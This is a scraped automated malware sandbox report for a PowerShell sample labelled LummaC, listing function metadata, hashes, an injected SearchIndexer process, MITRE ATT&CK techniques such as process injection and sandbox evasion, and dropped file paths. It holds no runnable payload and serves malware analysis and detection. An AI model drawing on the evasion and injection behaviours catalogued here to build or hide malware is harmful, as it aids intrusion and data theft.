__vbaHresultCheckObj.MSVBVM60(00000000,?,00402224,0000001C,?,?,?,?,?,?,?,00401316), ref: 00403334

Memory Dump Source

Source File: 00000005.00000002.2448078657.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2448065471.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2448092565.0000000000406000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2448105519.0000000000407000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_StrCmp.jbxd

Similarity

API ID: __vba$AddrefCheckFreeHresult
String ID:
API String ID: 3837213124-0
Opcode ID: 28e488dd2331dc38f490b8cbd1c8e41b67ba893e1547a325d36c1385232dad6f
Instruction ID: 98b1beddd525c603fe4372aa901e358d85729d057f027639d6bf54fc5f157aec
Opcode Fuzzy Hash: 28e488dd2331dc38f490b8cbd1c8e41b67ba893e1547a325d36c1385232dad6f
Instruction Fuzzy Hash: C21160B4900244AFC700AF94C989EAEBBBCEF44705B10846AF545B31A0CB785945CBA4

Function 00402B50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 38
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__vbaStrCat.MSVBVM60(?,CHECK ,?,?,?,?,?,00401316), ref: 00402B95
__vbaStrMove.MSVBVM60(?,CHECK ,?,?,?,?,?,00401316), ref: 00402BA0
__vbaFreeStr.MSVBVM60(?,CHECK ,?,?,?,?,?,00401316), ref: 00402BB3

Strings

CHECK , xrefs: 00402B8A

Memory Dump Source

Source File: 00000005.00000002.2448078657.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2448065471.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2448092565.0000000000406000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2448105519.0000000000407000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_StrCmp.jbxd

Similarity

API ID: __vba$FreeMove
String ID: CHECK
API String ID: 1603237890-2792941433
Opcode ID: 5298c4c2b534085dea1fbfa9c1d838bfd54d21a5d610055976c07b02201fb5e1
Instruction ID: e83f1107f5a3758a74e235f5b1bace5d0d5d2c7af666d791089d790600f0bfab
Opcode Fuzzy Hash: 5298c4c2b534085dea1fbfa9c1d838bfd54d21a5d610055976c07b02201fb5e1
Instruction Fuzzy Hash: 08016275900209EFC700DF94CA4AE9EFFB8FF48700F20802AF611A76A0D7B46901CB95

Function 00403200 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 38
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__vbaStrCopy.MSVBVM60(?,?,?,?,?,00401316), ref: 0040324D
__vbaFreeStr.MSVBVM60(?,?,?,?,?,00401316), ref: 00403260

Strings

TERMINATE, xrefs: 00403242

Memory Dump Source

Source File: 00000005.00000002.2448078657.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2448065471.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2448092565.0000000000406000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2448105519.0000000000407000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_StrCmp.jbxd

Similarity

API ID: __vba$CopyFree
String ID: TERMINATE
API String ID: 1165857907-676853503
Opcode ID: da865969370ad7234d6bfe7513dae81f5abf5c15c76ae8f578373c818fab1f97
Instruction ID: e7ec42556cff44c3b1b1915158f87ba296560adbda7d6876b6552d021bc9c87f
Opcode Fuzzy Hash: da865969370ad7234d6bfe7513dae81f5abf5c15c76ae8f578373c818fab1f97
Instruction Fuzzy Hash: 64014B75800209EBCB00DF54CA4AAAEBFB8FF48710F20816AE951A7290D7785A41CBD5

Function 00402BF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

__vbaStrCopy.MSVBVM60(?,?,?,?,?,00401316), ref: 00402C32
__vbaFreeStr.MSVBVM60(?,?,?,?,?,00401316), ref: 00402C45

Strings

TERMINATE, xrefs: 00402C27

Memory Dump Source

Source File: 00000005.00000002.2448078657.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2448065471.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2448092565.0000000000406000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2448105519.0000000000407000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_StrCmp.jbxd

Similarity

API ID: __vba$CopyFree
String ID: TERMINATE
API String ID: 1165857907-676853503
Opcode ID: b36f1c87af62a3e47d91a0ec51a73ba1fc4f33a5c00410ea1132ce5bbe62edb9
Instruction ID: 63507a122ad6bd438a5297b4714ee78ad3d29af41ee206dfb5d821e5123bdfac
Opcode Fuzzy Hash: b36f1c87af62a3e47d91a0ec51a73ba1fc4f33a5c00410ea1132ce5bbe62edb9
Instruction Fuzzy Hash: 79F0F475800249EFD700EF55CA4AAAEFFB8EF48700F10846AE54167690D7B45946CF95

Function 00402910 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 33
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__vbaStrCopy.MSVBVM60(?,?,?,?,?,00401316), ref: 00402952
__vbaFreeStr.MSVBVM60(?,?,?,?,?,00401316), ref: 00402965

Strings

STARTMONITOR, xrefs: 00402947

Memory Dump Source

Source File: 00000005.00000002.2448078657.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2448065471.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2448092565.0000000000406000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2448105519.0000000000407000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_StrCmp.jbxd

Similarity

API ID: __vba$CopyFree
String ID: STARTMONITOR
API String ID: 1165857907-1205575814
Opcode ID: 8371b41938299f8f620ea14e38ad120d7bf4d308844a13a317ff3370f12bff68
Instruction ID: 42cfdbe708ef57829ead6aefe0c1a098d2acfb3869da2a429355b7c33ab9cc3e
Opcode Fuzzy Hash: 8371b41938299f8f620ea14e38ad120d7bf4d308844a13a317ff3370f12bff68
Instruction Fuzzy Hash: 19F04F75900209EFC700DF94CA4AAAEFFB8EF88700F10802AE541A36A0C7B85905CFA5

Function 004029A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 33
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__vbaStrCopy.MSVBVM60(?,?,?,?,?,00401316), ref: 004029E2
__vbaFreeStr.MSVBVM60(?,?,?,?,?,00401316), ref: 004029F5

Strings

STOPMONITOR, xrefs: 004029D7

Memory Dump Source

Source File: 00000005.00000002.2448078657.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2448065471.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2448092565.0000000000406000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2448105519.0000000000407000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_StrCmp.jbxd

Similarity

API ID: __vba$CopyFree
String ID: STOPMONITOR
API String ID: 1165857907-756394762
Opcode ID: 0b90100d083cd0013bdc6444893a37abff30c6d5d6356816f23c33e14f8f20d3
Instruction ID: 7f650cfcb598a75bfec611b6737b47dbfd01c5c59c0a9912401176ec2a31d09b
Opcode Fuzzy Hash: 0b90100d083cd0013bdc6444893a37abff30c6d5d6356816f23c33e14f8f20d3
Instruction Fuzzy Hash: 33F04F75900249EFC710DF94CA4AAAEFFF8EF88700F10806AE541A36A0C7B85906CF95

Analysis Process: SearchIndexer.exePID: 4140, Parent PID: 3472COMMON

Non-executed Functions

Function 04848608 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2785914106.0000000004846000.00000004.00000800.00020000.00000000.sdmp, Offset: 04846000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_4846000_SearchIndexer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3585cc5e86e4b4f2c0b231822883ac188ad7ac996d5f3a190238e1ab2981f7b1
Instruction ID: 3aed54436f5767a83b01f55326dea564c088d466d319321e9a1229c6b183aa19
Opcode Fuzzy Hash: 3585cc5e86e4b4f2c0b231822883ac188ad7ac996d5f3a190238e1ab2981f7b1
Instruction Fuzzy Hash: DCC04C7595664CEBC711CB89D541A59B7FCE709650F100195EC0893700D5356E109595

Function 04850E18 Relevance: 7.8, Strings: 6, Instructions: 275COMMON

Download Yara Rule

Strings

4F, xrefs: 04850FFC
4F, xrefs: 04850FD2
4F, xrefs: 04851042
4F, xrefs: 048510A2
heC, xrefs: 0485108E
4F, xrefs: 0485106C

Memory Dump Source

Source File: 00000009.00000002.2785914106.0000000004846000.00000004.00000800.00020000.00000000.sdmp, Offset: 04846000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_4846000_SearchIndexer.jbxd

Similarity

API ID:
String ID: 4F$ 4F$ 4F$ 4F$ 4F$heC
API String ID: 0-772418692
Opcode ID: ae06115edcb641a05dfcf5b4a5125944856298ee2cabefe28725e30fda5c8ddd
Instruction ID: fa740132e8b5783b64f8aa60dba4acc683344b5f6fbe28307dc6bd06b648a525
Opcode Fuzzy Hash: ae06115edcb641a05dfcf5b4a5125944856298ee2cabefe28725e30fda5c8ddd
Instruction Fuzzy Hash: 5E813631B041044BD724DE3898A167AB7C2EB85374B694B29FC66C73E0EAA5FD09C345

Function 04859148 Relevance: 5.1, Strings: 4, Instructions: 112COMMON

Download Yara Rule

Strings

$zC, xrefs: 0485915A
$zC, xrefs: 04859193
zC, xrefs: 048591C6
XfC, xrefs: 04859166

Memory Dump Source

Source File: 00000009.00000002.2785914106.0000000004846000.00000004.00000800.00020000.00000000.sdmp, Offset: 04846000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_4846000_SearchIndexer.jbxd

Similarity

API ID:
String ID: zC$$zC$$zC$XfC
API String ID: 0-782662132
Opcode ID: 0a1c2ec7d78d10629ae3a2b8d9250caed627eeb30eaf1ae287aa479f68fb7010
Instruction ID: 9ce38c21058c6402b6ec3ba80be28745cade3b0c03f0a13e4155c54238a8104e
Opcode Fuzzy Hash: 0a1c2ec7d78d10629ae3a2b8d9250caed627eeb30eaf1ae287aa479f68fb7010
Instruction Fuzzy Hash: F631D2B2B5481807472C953C991592F7AC3EAD8330B69872FF977C32E0DFE89D059248

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report de7s.txt.ps1

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

Initial Sample

Dropped Files

Memory Dumps

Unpacked PEs

Other

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_SearchIndexer.ex_d4a17d5ad0cd8f376c378ad8f43eeb803d19ad1_9e0a92cb_b7493a4c-6091-45fa-b82e-b7269298d028\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER8267.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER83C0.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER83F0.tmp.xml

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\480327de

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cixuakoa.wbw.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cl50js5j.zkh.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_g3m2a0t0.aj5.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xfckaj0l.kfr.ps1

C:\Users\user\AppData\Local\Temp\cdbwxlpdlbk

Windows Analysis Report
de7s.txt.ps1